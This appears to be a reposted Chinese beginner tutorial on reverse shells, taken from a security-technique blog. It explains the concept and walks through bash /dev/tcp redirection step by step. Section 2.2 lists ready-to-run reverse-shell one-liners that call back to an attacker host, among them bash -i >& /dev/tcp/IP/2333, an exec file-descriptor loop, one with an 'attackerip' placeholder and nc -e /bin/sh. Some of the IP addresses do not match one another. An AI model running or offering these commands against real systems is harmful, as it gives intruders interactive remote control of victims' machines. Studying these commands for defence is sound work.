不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

反弹 shell 入门教学

0x00 前言

反弹shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

为什么要反弹shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,sshtelnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2. 它的ip会动态改变,你不能持续控制。
3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹 shell

0x01 反弹shell演示

我们用bash远程代码执行漏洞实例来了解一下他的原理:

攻击端:10.100.40.5
受害机:192.168.197.136

首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell 在攻击端输入命令nc -l 2333

图片

然后在受害机执行命令:
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

图片

我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell,在我们的攻击端就能对受害端来进行下一步操作:

图片

例如:

图片

0x02 原理

2.1 反弹shell的命令原理

(1) bash -i

bashlinux 的一个比较常见的shell,是许多Linux发行版的默认Shell。 -i 这个参数的意思是产生交互式的shell

(2)./dev/tcp/ip/port /dev/tcp|udp/ip/port这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

图片

(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。
我们输出字符到 /dev/tcp这个文件中。

受害端:

图片

攻击端:


图片

(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333端口,并且在攻击端输入内容回车就会出现在受害端。

图片

(5)这样思路就比较清晰了,下面再说交互重定向:

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上;

在受害者机器上输入:

bash -i > /dev/tcp 10.100.40.5/2333

然后我们发现无论输入什么指令都不会有回显,回显出现在了攻击端标准输出被定向到了攻击端。

这样只是回显而已,并没有办法在攻击端直接执行命令。

(6)所以我们还需要将攻击者输入的指令输入给受害者的bash

bash -i < /dev/tcp/10.100.40.5/2333

这样就会做到在攻击端输入命令,回显到受害端:

图片

(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到 /dev/tcp 这个文件下。

命令:

bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

攻击端:

图片

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能。我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的, 所以我们需要解决这个问题:

命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

图片

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1

这两个几乎是一样的唯一的区别是0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。

(2) 方法二

bash -i >& /dev/tcp/10.100.40.5/2333 <&2
bash -i >& /dev/tcp/10.100.40.5/2333 0<&2

(3) 方法三

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

0x03 总结

Linux下的反弹shell还是有很多种姿势和方法的,这只是最简单与基础的内容,学习了解以后可以继续研究更多的反弹方法与姿势。

转自:宸极实验室

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 反弹 shell 入门教学

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏